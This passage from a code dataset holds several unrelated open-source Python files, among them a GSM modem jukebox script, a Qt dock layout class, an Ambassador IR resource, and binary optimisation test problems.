10)\n\t\t\t\tprint_dbg('CLCC: ', clcc)\n\t\t\t\tstatus = self.CLCC_REGEX.match(clcc).group(3)\n\t\t\t\tif status == '0': # ACTIVE\n\t\t\t\t\tprint_dbg('ACTIVE')\n\t\t\t\t\tcall_state = 'PLAYING'\n\t\t\t\t\tplayer = subprocess.Popen(['mpg123', '-q', song])\n\t\t\t\t\tprint_dbg('PLAYING: ', song)\n\t\t\t\telif status == '2': # DAILING\n\t\t\t\t\tprint_dbg('DAILING')\n\t\t\t\telif status == '3': # ALERTING (ring?)\n\t\t\t\t\tprint_dbg('ALERTING')\n\t\t\t\telif status == '6': # DISCONNECT\n\t\t\t\t\tprint_dbg('DISCONNECT')\n\t\t\t\t\tif player != None:\n\t\t\t\t\t\tplayer.kill()\n\t\t\t\t\treturn\n\t\t\texcept queue.Empty:\n\t\t\t\tprint_dbg('queue empty')\n\t\t\t\tif call_state == 'CALLING':\n\t\t\t\t\ttimeout_cnt -= 1\n\t\t\t\t\tprint_dbg('TIMEOUT ', timeout_cnt)\n\t\t\t\telif call_state == 'PLAYING':\n\t\t\t\t\tif player.poll() != None:\n\t\t\t\t\t\tprint_dbg('SONG FINISHED - HANGUP')\n\t\t\t\t\t\tplayer = None\n\t\t\t\t\t\tself.command('ATH')\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint_dbg('still playing')\n\t\t\t\tif timeout_cnt <= 0:\n\t\t\t\t\tprint_dbg('TIMEOUT - HANGUP')\n\t\t\t\t\tself.command('ATH')\n\n\n\tdef __handle_call(self, line):\n\t\tprint_dbg('TODO handle call')\n\n\tdef command(self, command, response='OK', timeout=10):\n\t\twith self.lock:\n\t\t\tself.write_line(command)\n\t\t\tif response is None:\n\t\t\t\treturn\n\t\t\tlines = []\n\t\t\twhile True:\n\t\t\t\ttry:\n\t\t\t\t\tline = self.responses.get(timeout=timeout)\n\t\t\t\t\tif line == response:\n\t\t\t\t\t\treturn lines\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint_dbg('CHECK RESPONSE: ', line)\n\t\t\t\t\t\tlines.append(line)\n\t\t\t\texcept queue.Empty:\n\t\t\t\t\traise ATException('AT command timeout ({!r})'.format(command))\n\nif __name__ == '__main__':\n\timport time\n\tser = serial.serial_for_url('/tmp/ttyV0', baudrate=9600, timeout=1)\n\twith serial.threaded.ReaderThread(ser, WurlitzerProtocol) as wurlitzer:\n\t\twurlitzer.init_module()\n\t\twurlitzer.load_playlist('playlist.txt')\n\t\twurlitzer.command('AT')\n\t\traw_input('Press Enter to continue')\n\n", "source": "sehaas/gsmwurlitzer", "license": "BSD-3-Clause"} {"text": "\ndef pstrip(s, prefix):\n \"\"\"Prefix strip\n\n >>> pstrip('foo_oof', 'foo_')\n 'oof'\n >>> pstrip('baroof', 'foo_')\n 'baroof'\n \"\"\"\n i = len(prefix)\n if s[:i] == prefix:\n return s[i:]\n return s\n\ndef sstrip(s, suffix):\n \"\"\"Suffix strip\n\n >>> sstrip('foo.oof', '.oof')\n 'foo'\n >>> sstrip('baroof', '.oof')\n 'baroof'\n \"\"\"\n i = - len(suffix)\n if s[i:] == suffix:\n return s[:i]\n return s\n", "source": "Changaco/python-miss", "license": "CC0-1.0"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2009-2010 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guidata/__init__.py for details)\n\n\"\"\"RGB Image test, creating the RGBImageItem object via make.rgbimage\"\"\"\n\nSHOW = True # Show test in GUI-based test launcher\n\nfrom guiqwt.plot import ImageDialog\nfrom guiqwt.builder import make\nimport os.path as osp\n\nSHOW = True # Show test in GUI-based test launcher\n\nTESTDIR = osp.abspath(osp.dirname(__file__))\nIMGFILE = osp.join(TESTDIR, \"..\", \"images\", \"items\", \"image.png\")\n\ndef imshow(filename):\n win = ImageDialog(edit=False, toolbar=True, wintitle=\"RGB image item test\")\n item = make.rgbimage(filename=filename, xdata=[-1, 1], ydata=[-1, 1])\n plot = win.get_plot()\n plot.add_item(item)\n win.show()\n win.exec_()\n\ndef test():\n \"\"\"Test\"\"\"\n # -- Create QApplication\n import guidata\n _app = guidata.qapplication()\n # --\n imshow(IMGFILE)\n\nif __name__ == \"__main__\":\n test()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from typing import Any, Dict, List, Optional, Tuple, Union, TYPE_CHECKING\n\nfrom ..config import Config\nfrom ..resource import Resource\nfrom ..utils import RichStatus\n\nif TYPE_CHECKING:\n from .ir import IR\n\n\nclass IRResource (Resource):\n \"\"\"\n A resource within the IR.\n \"\"\"\n\n @staticmethod\n def helper_sort_keys(res: 'IRResource', k: str) -> Tuple[str, List[str]]:\n return k, list(sorted(res[k].keys()))\n\n @staticmethod\n def helper_rkey(res: 'IRResource', k: str) -> Tuple[str, str]:\n return '_rkey', res[k]\n\n @staticmethod\n def helper_list(res: 'IRResource', k: str) -> Tuple[str, list]:\n return k, list([ x.as_dict() for x in res[k] ])\n\n __as_dict_helpers: Dict[str, Any] = {\n \"apiVersion\": \"drop\",\n \"logger\": \"drop\",\n \"ir\": \"drop\"\n }\n\n _active: bool\n _errored: bool\n\n def __init__(self, ir: 'IR', aconf: Config,\n rkey: str,\n kind: str,\n name: str,\n namespace: Optional[str]=None,\n metadata_labels: Optional[str]=None,\n location: str = \"--internal--\",\n apiVersion: str=\"ambassador/ir\",\n **kwargs) -> None:\n # print(\"IRResource __init__ (%s %s)\" % (kind, name))\n\n if not namespace:\n namespace = ir.ambassador_namespace\n self.namespace = namespace\n\n super().__init__(rkey=rkey, location=location,\n kind=kind, name=name, namespace=namespace, metadata_labels=metadata_labels,\n apiVersion=apiVersion,\n **kwargs)\n self.ir = ir\n self.logger = ir.logger\n\n self._errored = False\n\n self.__as_dict_helpers = IRResource.__as_dict_helpers\n self.add_dict_helper(\"_errors\", IRResource.helper_list)\n self.add_dict_helper(\"_referenced_by\", IRResource.helper_sort_keys)\n self.add_dict_helper(\"rkey\", IRResource.helper_rkey)\n\n # Make certain that _active has a default...\n self.set_active(False)\n\n # ...before we override it with the setup results.\n self.set_active(self.setup(ir, aconf))\n\n def lookup(self, key: str, *args, default_class: Optional[str]=None, default_key: Optional[str]=None) -> Any:\n \"\"\"\n Look up a key in this IRResource, with a fallback to the Ambassador module's \"defaults\"\n element.\n\n Here's the resolution order:\n\n - if key is present in self, use its value.\n - if not, we'll try to look up a fallback value in the Ambassador module:\n - the key for the lookup will be the value of \"default_key\" if that's set,\n otherwise the same key we just tried in self.\n - if \"default_class\" wasn't passed in, and self.default_class isn't set, just\n look up a fallback value from the \"defaults\" dict in the Ambassador module.\n - otherwise, look up the default class in Ambassador's \"defaults\", then look up\n the fallback value from that dict (the passed in \"default_class\" wins if both\n are set).\n - (if the default class is '/', explictly skip descending into a sub-directory)\n - if no key is present in self, and no fallback is found, but a default value was passed\n in as *args[0], return that.\n - if all else fails, return None.\n\n :param key: the key to look up\n :param default_class: the default class for the fallback lookup (optional, see above)\n :param default_key: the key for the fallback lookup (optional, defaults to key)\n :param args: an all-else-fails default value can go here, see above\n :return: Any\n \"\"\"\n\n value = self.get(key, None)\n\n default_value = None\n\n if len(args) > 0:\n default_value = args[0]\n\n if value is None:\n get_from = self.ir.ambassador_module.get('defaults', {})\n\n dfl_class = default_class\n\n if not dfl_class:\n dfl_class = self.get('default_class', None)\n\n if dfl_class and (dfl_class != '/'):\n get_from = get_from.get(dfl_class, None)\n\n if get_from:\n if not default_key:\n default_key = key\n\n value = get_from.get(default_key, default_value)\n else:\n value = default_value\n\n return value\n\n def add_dict_helper(self, key: str, helper) -> None:\n self.__as_dict_helpers[key] = helper\n\n def set_active(self, active: bool) -> None:\n self._active = active\n\n def is_active(self) -> bool:\n return self._active\n\n def __bool__(self) -> bool:\n return self._active and not self._errored\n\n def setup(self, ir: 'IR', aconf: Config) -> bool:\n # If you don't override setup, you end up with an IRResource that's always active.\n return True\n\n def add_mappings(self, ir: 'IR', aconf: Config) -> None:\n # If you don't override add_mappings, uh, no mappings will get added.\n pass\n\n def post_error(self, error: Union[str, RichStatus]):\n self._errored = True\n\n if not self.ir:\n raise Exception(\"post_error cannot be called before __init__\")\n\n self.ir.post_error(error, resource=self)\n # super().post_error(error)\n # self.ir.logger.error(\"%s: %s\" % (self, error))\n\n def skip_key(self, k: str) -> bool:\n if k.startswith('__') or k.startswith(\"_IRResource__\"):\n return True\n\n if self.__as_dict_helpers.get(k, None) == 'drop':\n return True\n\n return False\n\n def as_dict(self) -> Dict:\n od: Dict[str, Any] = {}\n\n for k in self.keys():\n if self.skip_key(k):\n continue\n\n helper = self.__as_dict_helpers.get(k, None)\n\n if helper:\n new_k, v = helper(self, k)\n\n if new_k and v:\n od[new_k] = v\n elif isinstance(self[k], IRResource):\n od[k] = self[k].as_dict()\n elif self[k] is not None:\n od[k] = self[k]\n\n return od\n\n @staticmethod\n def normalize_service(service: str) -> str:\n normalized_service = service\n\n if service.lower().startswith(\"http://\"):\n normalized_service = service[len(\"http://\"):]\n elif service.lower().startswith(\"https://\"):\n normalized_service = service[len(\"https://\"):]\n\n return normalized_service\n", "source": "tegamckinney/ambassador", "license": "Apache-2.0"} {"text": "# Standard library imports.\nfrom itertools import combinations\nimport logging\n\n# System library imports.\nfrom pyface.qt import QtCore, QtGui\n\n# Enthought library imports.\nfrom traits.api import Any, HasTraits\n\n# Local imports.\nfrom pyface.tasks.task_layout import LayoutContainer, PaneItem, Tabbed, \\\n Splitter, HSplitter, VSplitter\nfrom .dock_pane import AREA_MAP\n\n# Contants.\nORIENTATION_MAP = { 'horizontal' : QtCore.Qt.Horizontal,\n 'vertical': QtCore.Qt.Vertical }\n\n# Logging.\nlogger = logging.getLogger(__name__)\n\n\nclass MainWindowLayout(HasTraits):\n \"\"\" A class for applying declarative layouts to a QMainWindow.\n \"\"\"\n\n #### 'MainWindowLayout' interface #########################################\n\n # The QMainWindow control to lay out.\n control = Any\n\n ###########################################################################\n # 'MainWindowLayout' interface.\n ###########################################################################\n\n def get_layout(self, layout, include_sizes=True):\n \"\"\" Get the layout by adding sublayouts to the specified DockLayout.\n \"\"\"\n for name, q_dock_area in AREA_MAP.items():\n sublayout = self.get_layout_for_area(q_dock_area, include_sizes)\n setattr(layout, name, sublayout)\n\n def get_layout_for_area(self, q_dock_area, include_sizes=True):\n \"\"\" Gets a LayoutItem for the specified dock area.\n \"\"\"\n # Build the initial set of leaf-level items.\n items = set()\n rects = {}\n for child in self.control.children():\n # Iterate through *visibile* dock widgets. (Inactive tabbed dock\n # widgets are \"visible\" but have invalid positions.)\n if isinstance(child, QtGui.QDockWidget) and child.isVisible() and \\\n self.control.dockWidgetArea(child) == q_dock_area and \\\n child.x() >= 0 and child.y() >= 0:\n # Get the list of dock widgets in this tab group in order.\n geometry = child.geometry()\n tabs = [ tab for tab in self.control.tabifiedDockWidgets(child)\n if tab.isVisible() ]\n if tabs:\n tab_bar = self._get_tab_bar(child)\n tab_index = tab_bar.currentIndex()\n tabs.insert(tab_index, child)\n geometry = tab_bar.geometry().united(geometry)\n\n # Create the leaf-level item for the child.\n if tabs:\n panes = [ self._prepare_pane(dock_widget, include_sizes)\n for dock_widget in tabs ]\n item = Tabbed(*panes, active_tab=panes[tab_index].id)\n else:\n item = self._prepare_pane(child, include_sizes)\n items.add(item)\n rects[item] = geometry\n\n # Build the layout tree bottom-up, in multiple passes.\n while len(items) > 1:\n add, remove = set(), set()\n\n for item1, item2 in combinations(items, 2):\n if item1 not in remove and item2 not in remove:\n rect1, rect2 = rects[item1], rects[item2]\n orient = self._get_division_orientation(rect1, rect2, True)\n if orient == QtCore.Qt.Horizontal:\n if rect1.y() < rect2.y():\n item = VSplitter(item1, item2)\n else:\n item = VSplitter(item2, item1)\n elif orient == QtCore.Qt.Vertical:\n if rect1.x() < rect2.x():\n item = HSplitter(item1, item2)\n else:\n item = HSplitter(item2, item1)\n else:\n continue\n rects[item] = rect1.united(rect2)\n add.add(item)\n remove.update((item1, item2))\n\n if add or remove:\n items.update(add)\n items.difference_update(remove)\n else:\n # Raise an exception instead of falling into an infinite loop.\n raise RuntimeError('Unable to extract layout from QMainWindow.')\n\n if items:\n return items.pop()\n return None\n\n def set_layout(self, layout):\n \"\"\" Applies a DockLayout to the window.\n \"\"\"\n # Remove all existing dock widgets.\n for child in self.control.children():\n if isinstance(child, QtGui.QDockWidget):\n child.hide()\n self.control.removeDockWidget(child)\n\n # Perform the layout. This will assign fixed sizes to the dock widgets\n # to enforce size constraints specified in the PaneItems.\n for name, q_dock_area in AREA_MAP.items():\n sublayout = getattr(layout, name)\n if sublayout:\n self.set_layout_for_area(sublayout, q_dock_area,\n _toplevel_call=False)\n\n # Remove the fixed sizes once Qt activates the layout.\n QtCore.QTimer.singleShot(0, self._reset_fixed_sizes)\n\n def set_layout_for_area(self, layout, q_dock_area,\n _toplevel_added=False, _toplevel_call=True):\n \"\"\" Applies a LayoutItem to the specified dock area.\n \"\"\"\n # If we try to do the layout bottom-up, Qt will become confused. In\n # order to do it top-down, we have know which dock widget is\n # \"effectively\" top level, requiring us to reach down to the leaves of\n # the layout. (This is really only an issue for Splitter layouts, since\n # Tabbed layouts are, for our purposes, leaves.)\n\n if isinstance(layout, PaneItem):\n if not _toplevel_added:\n widget = self._prepare_toplevel_for_item(layout)\n if widget:\n self.control.addDockWidget(q_dock_area, widget)\n widget.show()\n\n elif isinstance(layout, Tabbed):\n active_widget = first_widget = None\n for item in layout.items:\n widget = self._prepare_toplevel_for_item(item)\n if not widget:\n continue\n if item.id == layout.active_tab:\n active_widget = widget\n if first_widget:\n self.control.tabifyDockWidget(first_widget, widget)\n else:\n if not _toplevel_added:\n self.control.addDockWidget(q_dock_area, widget)\n first_widget = widget\n widget.show()\n\n # Activate the appropriate tab, if possible.\n if not active_widget:\n # By default, Qt will activate the last widget.\n active_widget = first_widget\n if active_widget:\n # It seems that the 'raise_' call only has an effect after the\n # QMainWindow has performed its internal layout.\n QtCore.QTimer.singleShot(0, active_widget.raise_)\n\n elif isinstance(layout, Splitter):\n # Perform top-level splitting as per above comment.\n orient = ORIENTATION_MAP[layout.orientation]\n prev_widget = None\n for item in layout.items:\n widget = self._prepare_toplevel_for_item(item)\n if not widget:\n continue\n if prev_widget:\n self.control.splitDockWidget(prev_widget, widget, orient)\n elif not _toplevel_added:\n self.control.addDockWidget(q_dock_area, widget)\n prev_widget = widget\n widget.show()\n\n # Now we can recurse.\n for i, item in enumerate(layout.items):\n self.set_layout_for_area(item, q_dock_area,\n _toplevel_added=True, _toplevel_call=False)\n\n else:\n raise MainWindowLayoutError(\"Unknown layout item %r\" % layout)\n\n # Remove the fixed sizes once Qt activates the layout.\n if _toplevel_call:\n QtCore.QTimer.singleShot(0, self._reset_fixed_sizes)\n\n ###########################################################################\n # 'MainWindowLayout' abstract interface.\n ###########################################################################\n\n def _get_dock_widget(self, pane):\n \"\"\" Returns the QDockWidget associated with a PaneItem.\n \"\"\"\n raise NotImplementedError\n\n def _get_pane(self, dock_widget):\n \"\"\" Returns a PaneItem for a QDockWidget.\n \"\"\"\n raise NotImplementedError\n\n ###########################################################################\n # Private interface.\n ###########################################################################\n\n def _get_division_orientation(self, one, two, splitter=False):\n \"\"\" Returns whether there is a division between two visible QWidgets.\n\n Divided in context means that the widgets are adjacent and aligned along\n the direction of the adjaceny.\n \"\"\"\n united = one.united(two)\n if splitter:\n sep = self.control.style().pixelMetric(\n QtGui.QStyle.PM_DockWidgetSeparatorExtent, None, self.control)\n united.adjust(0, 0, -sep, -sep)\n\n if one.x() == two.x() and one.width() == two.width() and \\\n united.height() == one.height() + two.height():\n return QtCore.Qt.Horizontal\n\n elif one.y() == two.y() and one.height() == two.height() and \\\n united.width() == one.width() + two.width():\n return QtCore.Qt.Vertical\n\n return 0\n\n def _get_tab_bar(self, dock_widget):\n \"\"\" Returns the tab bar associated with the given QDockWidget, or None\n if there is no tab bar.\n \"\"\"\n dock_geometry = dock_widget.geometry()\n for child in self.control.children():\n if isinstance(child, QtGui.QTabBar) and child.isVisible():\n geometry = child.geometry()\n if self._get_division_orientation(dock_geometry, geometry):\n return child\n return None\n\n def _prepare_pane(self, dock_widget, include_sizes=True):\n \"\"\" Returns a sized PaneItem for a QDockWidget.\n \"\"\"\n pane = self._get_pane(dock_widget)\n if include_sizes:\n pane.width = dock_widget.widget().width()\n pane.height = dock_widget.widget().height()\n return pane\n\n def _prepare_toplevel_for_item(self, layout):\n \"\"\" Returns a sized toplevel QDockWidget for a LayoutItem.\n \"\"\"\n if isinstance(layout, PaneItem):\n dock_widget = self._get_dock_widget(layout)\n if dock_widget is None:\n logger.warning('Cannot retrieve dock widget for pane %r'\n % layout.id)\n else:\n if layout.width > 0:\n dock_widget.widget().setFixedWidth(layout.width)\n if layout.height > 0:\n dock_widget.widget().setFixedHeight(layout.height)\n return dock_widget\n\n elif isinstance(layout, LayoutContainer):\n return self._prepare_toplevel_for_item(layout.items[0])\n\n else:\n raise MainWindowLayoutError(\"Leaves of layout must be PaneItems\")\n\n def _reset_fixed_sizes(self):\n \"\"\" Clears any fixed sizes assined to QDockWidgets.\n \"\"\"\n if self.control is None:\n return\n QWIDGETSIZE_MAX = (1 << 24) - 1 # Not exposed by Qt bindings.\n for child in self.control.children():\n if isinstance(child, QtGui.QDockWidget):\n child.widget().setMaximumSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX)\n child.widget().setMinimumSize(0, 0)\n # QDockWidget somehow manages to set its own\n # min/max sizes and hence that too needs to be reset.\n child.setMaximumSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX)\n child.setMinimumSize(0, 0)\n\n\n\nclass MainWindowLayoutError(ValueError):\n \"\"\" Exception raised when a malformed LayoutItem is passed to the\n MainWindowLayout.\n \"\"\"\n pass\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from django.db import models\nfrom django.utils.text import slugify\nfrom django.contrib.sites.models import Site\n\n\n# Create your models here.\n\n\nclass AbstractNameSlugModel(models.Model):\n name = models.CharField('Name', max_length=200)\n slug = models.SlugField('Slug', max_length=200)\n\n class Meta:\n abstract = True\n\n def __unicode__(self):\n return self.name\n\n def get_absolute_url(self):\n return u'https://' + Site.objects.get_current().domain + u'/%s:%s/' % \\\n (slugify(self._meta.verbose_name), self.slug)\n", "source": "simonwoerpel/bruecken.medienrevolte.de", "license": "MIT"} {"text": "import cv2\nimport os\nimport re\n\nCurPath = os.path.dirname(__file__)\niris_pos_file = CurPath + '/PrintedImages/IrisPositions.txt'\nimage_dir = CurPath + '/PrintedImages/'\n\n# Get all printed images, if they're .jpg\ndef getPrintedImageNames():\n return [os.path.splitext(f)[0] for f in os.listdir(image_dir) if os.path.splitext(f)[1] == \".jpg\"]\n\n# Create OpenCV Window, and make fullscreen\ncv2.namedWindow('img', cv2.WND_PROP_FULLSCREEN)\ncv2.setWindowProperty(\"img\",cv2.WND_PROP_FULLSCREEN,cv2.WINDOW_FULLSCREEN)\n\nfor image_path in getPrintedImageNames():\n with open(iris_pos_file,\"r\") as file:\n for line in file:\n if re.search(image_path, line):\n # Get all details from text file\n centre = line.split(' ')[1]\n distance = line.split(' ')[2]\n # Read image and draw the circle on it \n image = cv2.imread(image_dir + image_path + \".jpg\")\n image = cv2.circle(image,(int(centre.split(\",\")[0]),int(centre.split(\",\")[1])),int(float(distance)),(255,0,0),3)\n while True:\n cv2.imshow('img', image) \n \n # Wait, and allow the user to quit with the 'esc' key\n k = cv2.waitKey(1)\n # If user presses 'esc' break \n if k == 27: break ", "source": "Willsparker/FYP_EdgeDetection", "license": "MIT"} {"text": "\"\"\"\nCommon binary test problems.\n\"\"\"\n\nfrom optproblems.base import TestProblem, Individual\n\n\n\ndef one_max(phenome):\n \"\"\"The bare-bones one-max function.\"\"\"\n return sum(phenome)\n\n\n\ndef leading_ones(phenome):\n \"\"\"The bare-bones leading-ones function.\"\"\"\n ret = 0\n i = 0\n while i < len(phenome) and phenome[i] == 1:\n ret += 1\n i += 1\n return ret\n\n\n\ndef trailing_zeros(phenome):\n \"\"\"The bare-bones trailing-zeros function.\"\"\"\n ret = 0\n i = len(phenome) - 1\n while i >= 0 and phenome[i] == 0:\n ret += 1\n i -= 1\n return ret\n\n\n\nclass BinaryChecker:\n \"\"\"A pre-processor for checking if a phenome is binary.\n\n .. note:: This class makes use of the decorator design pattern for\n potential chaining of pre-processors, see\n https://en.wikipedia.org/wiki/Decorator_pattern\n\n \"\"\"\n def __init__(self, num_variables=None, previous_preprocessor=None):\n \"\"\"Constructor.\n\n Parameters\n ----------\n num_variables : int, optional\n Optionally require a specific number of phenes.\n previous_preprocessor : callable, optional\n Another callable that processes the phenome before this one\n does.\n\n \"\"\"\n self.num_variables = num_variables\n self.previous_preprocessor = previous_preprocessor\n\n\n def __call__(self, phenome):\n \"\"\"Check constraints and raise exception if necessary.\"\"\"\n if self.previous_preprocessor is not None:\n phenome = self.previous_preprocessor(phenome)\n if self.num_variables is not None:\n assert len(phenome) == self.num_variables\n for phene in phenome:\n assert phene in (0, 1)\n return phenome\n\n\n\nclass OneMax(TestProblem):\n \"\"\"The most simple binary optimization problem.\n\n .. note:: In contrast to most other problems in this package, this\n problem must be maximized.\n\n \"\"\"\n def __init__(self, num_variables=30, phenome_preprocessor=None, **kwargs):\n \"\"\"Constructor.\n\n Parameters\n ----------\n num_variables : int, optional\n The search space dimension.\n phenome_preprocessor : callable, optional\n A callable potentially applying transformations or checks to\n the phenome. Modifications should only be applied to a copy\n of the input. The (modified) phenome must be returned.\n Default behavior is to do no processing.\n kwargs\n Arbitrary keyword arguments, passed through to the constructor\n of the super class.\n\n \"\"\"\n preprocessor = BinaryChecker(num_variables, phenome_preprocessor)\n TestProblem.__init__(self,\n one_max,\n num_objectives=1,\n phenome_preprocessor=preprocessor,\n **kwargs)\n self.num_variables = num_variables\n self.is_deterministic = True\n self.do_maximize = True\n\n\n def get_optimal_solutions(self, max_number=None):\n \"\"\"Return the optimal solution.\n\n The returned solution does not yet contain the objective values.\n\n Returns\n -------\n solutions : list of Individual\n\n \"\"\"\n assert max_number is None or max_number > 0\n opt = Individual([1] * self.num_variables)\n return [opt]\n\n\n get_locally_optimal_solutions = get_optimal_solutions\n\n\n\nclass LeadingOnes(TestProblem):\n \"\"\"Counts the number of contiguous ones from the start of the bit-string.\n\n .. note:: In contrast to most other problems in this package, this\n problem must be maximized.\n\n \"\"\"\n def __init__(self, num_variables=30, phenome_preprocessor=None, **kwargs):\n \"\"\"Constructor.\n\n Parameters\n ----------\n num_variables : int, optional\n The search space dimension.\n phenome_preprocessor : callable, optional\n A callable potentially applying transformations or checks to\n the phenome. Modifications should only be applied to a copy\n of the input. The (modified) phenome must be returned.\n Default behavior is to do no processing.\n kwargs\n Arbitrary keyword arguments, passed through to the constructor\n of the super class.\n\n \"\"\"\n preprocessor = BinaryChecker(num_variables, phenome_preprocessor)\n TestProblem.__init__(self,\n leading_ones,\n num_objectives=1,\n phenome_preprocessor=preprocessor,\n **kwargs)\n self.num_variables = num_variables\n self.is_deterministic = True\n self.do_maximize = True\n\n\n def get_optimal_solutions(self, max_number=None):\n \"\"\"Return the optimal solution.\n\n The returned solution does not yet contain the objective values.\n\n Returns\n -------\n solutions : list of Individual\n\n \"\"\"\n assert max_number is None or max_number > 0\n opt = Individual([1] * self.num_variables)\n return [opt]\n\n\n get_locally_optimal_solutions = get_optimal_solutions\n\n\n\nclass LeadingOnesTrailingZeros(TestProblem):\n \"\"\"A bi-objective binary problem.\"\"\"\n\n def __init__(self, num_variables=30, phenome_preprocessor=None, **kwargs):\n \"\"\"Constructor.\n\n Parameters\n ----------\n num_variables : int, optional\n The search space dimension.\n phenome_preprocessor : callable, optional\n A callable potentially applying transformations or checks to\n the phenome. Modifications should only be applied to a copy\n of the input. The (modified) phenome must be returned.\n Default behavior is to do no processing.\n kwargs\n Arbitrary keyword arguments, passed through to the constructor\n of the super class.\n\n \"\"\"\n preprocessor = BinaryChecker(num_variables, phenome_preprocessor)\n TestProblem.__init__(self,\n [leading_ones, trailing_zeros],\n num_objectives=2,\n phenome_preprocessor=preprocessor,\n **kwargs)\n self.num_variables = num_variables\n self.is_deterministic = True\n self.do_maximize = True\n\n\n def get_optimal_solutions(self, max_number=None):\n \"\"\"Return Pareto-optimal solutions.\n\n The returned solutions do not yet contain the objective values.\n\n Parameters\n ----------\n max_number : int, optional\n Optionally restrict the number of solutions.\n\n Returns\n -------\n solutions : list of Individual\n The Pareto-optimal solutions\n\n \"\"\"\n assert max_number is None or max_number > 0\n individuals = []\n for i in range(self.num_variables + 1):\n opt = Individual([1] * i + [0] * (self.num_variables - i))\n individuals.append(opt)\n if max_number is not None:\n individuals = individuals[:max_number]\n return individuals\n", "source": "chunjenpeng/pyBandit", "license": "MIT"} {"text": "\"\"\"This module is a sample to validate lint and pre-commit configuration.\"\"\"\nimport abc\n\n\nclass Polygon(metaclass=abc.ABCMeta):\n \"\"\"A class to represent polygons\"\"\"\n\n @classmethod\n def __subclasshook__(cls, subclass):\n return (hasattr(subclass, 'area') and\n callable(subclass.area) and\n hasattr(subclass, 'perimeter') and\n callable(subclass.perimeter) and\n hasattr(subclass, 'volume') and\n callable(subclass.volume))\n\n @abc.abstractmethod\n def num_sides(self) -> int:\n \"\"\"This method returns the number of sides of the polygon\"\"\"\n raise NotImplementedError\n", "source": "Shiti/sample-python", "license": "Unlicense"} {"text": "from typing import TypeVar, Generic\n\nfrom fidget.core import format_printer, regex_parser, PlaintextParseError, wrap_plaintext_parser, Fidget, \\\n TemplateLike, inner_plaintext_parser, ParseError\n\nfrom fidget.widgets.line import FidgetLine\nfrom fidget.widgets.text import FidgetPlainText\nfrom fidget.widgets.converter import FidgetConverter\nfrom fidget.widgets.__util__ import parse_int\n\nT = TypeVar('T')\n\n\nclass SimpleLineEdit(Generic[T], FidgetConverter[str, T]):\n \"\"\"\n A superclass for processing a single line edit. using the plaintext parsers to convert the value\n \"\"\"\n\n MAKE_PLAINTEXT = MAKE_INDICATOR = False\n\n def __init__(self, title, **kwargs):\n line_edit_args = {}\n\n for k in ('placeholder',):\n if k in kwargs:\n line_edit_args[k] = kwargs[k]\n del kwargs[k]\n\n super().__init__(self.line_edit_cls.template(title, **line_edit_args), **kwargs)\n\n def back_convert(self, v: T):\n printer = self.joined_plaintext_printer\n ret = printer(v)\n return ret\n\n def convert(self, v: str) -> T:\n parser = self.joined_plaintext_parser\n try:\n return parser(v)\n except PlaintextParseError as e:\n raise ParseError(offender=self.inner) from e\n\n line_edit_cls: TemplateLike[str] = FidgetLine.template()\n\n _template_class = Fidget._template_class\n\n def plaintext_parsers(self):\n return Fidget.plaintext_parsers(self)\n\n\nclass SimplePlainEdit(Generic[T], FidgetConverter[str, T]):\n \"\"\"\n A superclass for processing a plaintext edit. using the plaintext parsers to convert the value\n \"\"\"\n\n MAKE_PLAINTEXT = MAKE_INDICATOR = False\n\n def __init__(self, title, **kwargs):\n line_edit_args = {}\n\n for k in ('placeholder',):\n if k in kwargs:\n line_edit_args[k] = kwargs[k]\n del kwargs[k]\n\n super().__init__(self.line_edit_cls.template(title, **line_edit_args), **kwargs)\n\n def back_convert(self, v: T):\n printer = self.joined_plaintext_printer\n return printer(v)\n\n def convert(self, v: str) -> T:\n parser = self.joined_plaintext_parser\n try:\n return parser(v)\n except PlaintextParseError as e:\n raise ParseError(offender=self.inner) from e\n\n line_edit_cls: TemplateLike[str] = FidgetPlainText.template()\n\n _template_class = Fidget._template_class\n\n def plaintext_parsers(self):\n return Fidget.plaintext_parsers(self)\n\n\nclass FidgetInt(SimpleLineEdit[int]):\n \"\"\"\n A line edit that converts the value to int\n \"\"\"\n _func = inner_plaintext_parser(staticmethod(wrap_plaintext_parser(ValueError, parse_int)))\n _cls_printers = [\n format_printer('n'),\n format_printer(','),\n format_printer('_b'),\n format_printer('_X')\n ]\n\n @classmethod\n def cls_plaintext_printers(cls):\n yield from super().cls_plaintext_printers()\n yield hex\n yield bin\n yield oct\n yield from cls._cls_printers\n\n\nclass FidgetFloat(SimpleLineEdit[float]):\n \"\"\"\n A line edit that converts the value to float\n \"\"\"\n _func = inner_plaintext_parser(staticmethod(wrap_plaintext_parser(ValueError, float)))\n _cls_printers = [\n format_printer('f'),\n format_printer('e'),\n format_printer('g'),\n format_printer('%'),\n ]\n\n @inner_plaintext_parser\n @staticmethod\n @regex_parser(r'([0-9]*(\\.[0-9]+)?)%')\n def percentage(m):\n try:\n return float(m[1]) / 100\n except ValueError as e:\n raise PlaintextParseError() from e\n\n @inner_plaintext_parser\n @staticmethod\n @regex_parser(r'(?P[0-9]+)\\s*/\\s*(?P[0-9]*[1-9][0-9]*)')\n def ratio(m):\n n = m['num']\n d = m['den']\n\n try:\n n = float(n)\n d = float(d)\n except ValueError as e:\n raise PlaintextParseError() from e\n\n try:\n return n / d\n except ValueError as e:\n raise PlaintextParseError() from e\n\n @classmethod\n def cls_plaintext_printers(cls):\n yield from super().cls_plaintext_printers()\n yield from cls._cls_printers\n\n\nclass FidgetComplex(SimpleLineEdit[complex]):\n \"\"\"\n A line edit that converts the value to complex\n \"\"\"\n _func = inner_plaintext_parser(staticmethod(wrap_plaintext_parser(ValueError, complex)))\n\n\ndef template(*args, **kwargs):\n \"\"\"\n a decorator to convert a class to a parameterized template\n \"\"\"\n\n def ret(c: TemplateLike[T]) -> TemplateLike[T]:\n return c.template(*args, **kwargs)\n\n return ret\n\n\nif __name__ == '__main__':\n from fidget.backend.QtWidgets import QApplication\n\n app = QApplication([])\n w = FidgetInt('sample', make_plaintext=True, make_indicator=True)\n w.show()\n res = app.exec_()\n print(w.value())\n exit(res)\n", "source": "fochoao/cpython", "license": 